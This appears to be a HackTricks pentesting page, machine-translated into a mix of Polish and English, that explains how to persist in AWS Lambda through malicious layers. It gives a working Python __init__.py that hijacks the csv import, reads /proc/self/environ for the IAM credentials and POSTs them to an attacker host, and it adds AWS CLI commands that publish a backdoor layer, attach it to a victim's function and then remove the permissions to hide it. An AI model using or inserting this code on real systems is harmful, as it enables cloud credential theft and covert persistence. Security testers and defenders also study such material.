AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

Warstwa Lambda to archiwum .zip, które może zawierać dodatkowy kod lub inne treści. Warstwa może zawierać biblioteki, niestandardowe środowisko uruchomieniowe, dane lub pliki konfiguracyjne.

Możliwe jest dołączenie do pięciu warstw na funkcję. Gdy dołączasz warstwę do funkcji, zawartość jest wypakowywana do katalogu /opt w środowisku wykonawczym.

Z domyślnie, warstwy, które tworzysz, są prywatne dla twojego konta AWS. Możesz zdecydować się na udostępnienie warstwy innym kontom lub uczynić warstwę publiczną. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.

Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swoje preferowane środowisko uruchomieniowe, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.

Python load path

Ścieżka ładowania, której Python użyje w lambda, jest następująca:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Sprawdź, jak drugie i trzecie pozycje są zajmowane przez katalogi, w których lambda layers dekompresują swoje pliki: /opt/python/lib/python3.9/site-packages i /opt/python

Jeśli atakujący zdołałby wprowadzić tylne drzwi do używanej warstwy lambda lub dodać jedną, która będzie wykonywać dowolny kod, gdy załadowana zostanie wspólna biblioteka, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.

Dlatego wymagania są następujące:

  • Sprawdź biblioteki, które są ładowane przez kod ofiary

  • Stwórz bibliotekę proxy z warstwami lambda, która będzie wykonywać niestandardowy kod i ładować oryginalną bibliotekę.

Wstępnie załadowane biblioteki

Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są już załadowane w czasie działania Pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć takie rzeczy jak os czy sys, ale nawet biblioteka json była załadowana. Aby nadużyć tę technikę utrzymywania, kod musi załadować nową bibliotekę, która nie jest załadowana, gdy kod jest wykonywany.

Dzięki kodowi Pythona takiemu jak ten, możliwe jest uzyskanie listy bibliotek, które są wstępnie załadowane w czasie działania Pythona w lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

A oto lista (sprawdź, czy takie biblioteki jak os lub json są już dostępne)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

I oto lista bibliotek, które lambda zawiera zainstalowane domyślnie: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring warstwy Lambda

W tym przykładzie załóżmy, że kod docelowy importuje csv. Będziemy wprowadzać backdoor w imporcie biblioteki csv.

Aby to zrobić, stworzymy katalog csv z plikiem __init__.py w ścieżce, która jest ładowana przez lambda: /opt/python/lib/python3.9/site-packages Następnie, gdy lambda zostanie wykonana i spróbuje załadować csv, nasz plik __init__.py zostanie załadowany i wykonany. Ten plik musi:

  • Wykonać nasz ładunek

  • Załadować oryginalną bibliotekę csv

Możemy zrobić to obie rzeczy za pomocą:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Then, create a zip with this code in the path python/lib/python3.9/site-packages/__init__.py and add it as a lambda layer.

You can find this code in https://github.com/carlospolop/LambdaLayerBackdoor

The integrated payload will wysłać dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda (zmiana kodu lub zimna lambda), ale inne techniki takie jak poniższe mogą być również zintegrowane:

AWS - Steal Lambda Requests

External Layers

Note that it's possible to use lambda layers from external accounts. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions. Also note that the maksymalna liczba warstw, które może mieć lambda, to 5.

Therefore, in order to improve the versatility of this technique an attacker could:

  • Backdoor an existing layer of the user (nothing is external)

  • Utworzyć warstwę w swoim koncie, dać konto ofiary dostęp do używania warstwy, skonfigurować warstwę w Lambdzie ofiary i usunąć uprawnienia.

  • Lambda nadal będzie mogła używać warstwy, a ofiara nie będzie miała łatwego sposobu na pobranie kodu warstwy (oprócz uzyskania powłoki rev wewnątrz lambdy)

  • Ofiara nie zobaczy zewnętrznych warstw używanych z aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Wsparcie HackTricks

Last updated